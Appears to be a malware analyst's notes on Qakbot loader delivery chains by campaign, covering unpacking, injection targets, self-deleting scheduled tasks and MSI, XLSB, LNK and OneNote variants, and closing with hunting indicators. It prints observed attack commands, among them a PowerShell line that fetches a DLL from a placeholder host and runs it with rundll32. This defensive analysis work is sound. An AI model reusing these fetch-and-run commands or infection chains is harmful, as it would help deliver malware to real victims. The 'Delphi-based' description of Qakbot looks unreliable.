Qakbot is a Delphi-based stealer and loader that can bring in Cobalt Strike and ransomware depending on the environment it lands in. The core DLL stayed the same for a long time; the delivery wrapper changed again and again. These notes follow the wrapper.
The DLL itself
It arrives as a DLL whose unpacking code sits in DllRegisterServer. The encrypted second layer can live in any section or in a resource. Two kinds of decryption loops show up: a simple one, and one hopping across many jumps that rarely makes it into an emulation dump. After that the code resolves APIs, and the unpacked second DLL does the real work.
A leftover project path inside the extracted payload identifies the family, and the injected process changes over time.
explorer.exe (usual target)
OneDriveSetup.exe (switched in a recent period)
msra.exe (sometimes)
Persistence uses a scheduled task created with one-time and minute-based schedule options and set to delete itself after finishing, with start and end times chosen so the task fires almost immediately. A short /t4 marker in the network traffic is a useful pointer for hunting.
Chains by campaign tag
pdf -> url -> zip -> img -> lnk -> dll
lnk: cmd /c <name>.lnk
next: rundll32.exe cursor.dat,qqqq
BB10: url -> zip -> img -> lnk -> cmd -> exe -> dll -> bat
BB11: url -> zip -> iso -> js -> wsf -> dll
url -> zip -> iso -> lnk -> wsf -> dll
url -> zip -> iso -> wsf -> dll
wsf: wscript.exe GR1.wsf rundll32.exe C:\ProgramData\user.dat,Updt
html -> zip -> img -> lnk -> cmd -> dll
MSI variant (April 2022)
An email link downloads a password-protected zip with an MSI. MsiExec runs regsvr32 on the dropped DLL and the payload is injected into msra.exe, which then talks to the server.
installed entry visible in Control Panel; a second MSI install is refused
own copy : C:\Windows\Installer\<hex>.msi
payload : %APPDATA%\Local\SetupTest\1.dll
registry : Installer\UserData\...\Components and RunMRU entries pointing at that DLL
XLSB variant (May 2022)
A spam workbook downloads a cab file from the server, extracts it with Expand.exe and registers the DLL silently. The server was no longer serving the cab by the time I tried.
LNK + PowerShell (May 2022)
powershell iwr https://<site>/<path>/G.png -OutFile $env:TEMP\file394.dll
Start-Process rundll32 $env:TEMP\file394.dll,DllInstall
OneNote (February 2023)
url -> zip -> .one -> .hta -> .dll
An HTA attachment hides under a fake "open image" button inside the OneNote page. The HTA writes obfuscated content to a registry value under HKCU\SOFTWARE\Firm\Soft, decodes it, runs it and deletes the value. A tool such as onedump.py lists and extracts the embedded objects from the .one file.
Hunting summary
- Mounted ISO / IMG images that run a shortcut or script from the mount point.
- rundll32 with an unusual export such as qqqq or Updt on a file with a .dat or .jpg name.
- Scheduled tasks that delete themselves after one run.
- Processes such as msra.exe making outbound connections.